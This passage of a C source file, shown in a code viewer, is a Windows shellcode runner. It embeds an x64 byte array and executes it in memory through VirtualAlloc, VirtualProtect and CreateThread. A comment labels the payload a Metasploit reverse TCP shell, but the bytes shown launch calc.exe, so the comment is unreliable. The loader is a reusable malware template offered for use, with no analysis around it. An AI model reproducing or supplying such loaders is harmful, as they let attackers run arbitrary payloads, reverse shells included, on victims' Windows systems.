| 16 | #include <stdio.h> |
| 17 | |
| 18 | int main() { |
| 19 | |
| 20 | // use payload/windows/x64/shell_reverse_tcp |
| 21 | // generate -f c |
| 22 | unsigned char payload[] = |
| 23 | "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" |
| 24 | "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" |
| 25 | "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" |
| 26 | "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" |
| 27 | "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" |
| 28 | "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" |
| 29 | "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" |
| 30 | "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" |
| 31 | "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" |
| 32 | "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" |
| 33 | "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" |
| 34 | "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" |
| 35 | "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" |
| 36 | "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" |
| 37 | "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" |
| 38 | "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" |
| 39 | "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" |
| 40 | "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" |
| 41 | "\x63\x2e\x65\x78\x65\x00"; |
| 42 | |
| 43 | |
| 44 | |
| 45 | LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
| 46 | |
| 47 | if (!alloc_mem) { |
| 48 | printf("Failed to Allocate memory (%u)\n", GetLastError()); |
| 49 | return -1; |
| 50 | } |
| 51 | |
| 52 | MoveMemory(alloc_mem, payload, sizeof(payload)); |
| 53 | //RtlMoveMemory(alloc_mem, payload, sizeof(payload)); |
| 54 | |
| 55 | |
| 56 | DWORD oldProtect; |
| 57 | |
| 58 | if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) { |
| 59 | printf("Failed to change memory protection (%u)\n", GetLastError()); |
| 60 | return -2; |
| 61 | } |
| 62 | |
| 63 | |
| 64 | HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL); |
| 65 | if (!tHandle) { |
| 66 | printf("Failed to Create the thread (%u)\n", GetLastError()); |
| 67 | return -3; |
| 68 | } |
| 69 | |
| 70 | printf("\n\nalloc_mem : %p\n", alloc_mem); |
| 71 | WaitForSingleObject(tHandle, INFINITE); |
| 72 | getchar(); |
| 73 | // or |
| 74 | |
| 75 | //((void(*)())alloc_mem)(); |
nothing calls this directly
no outgoing calls
no test coverage detected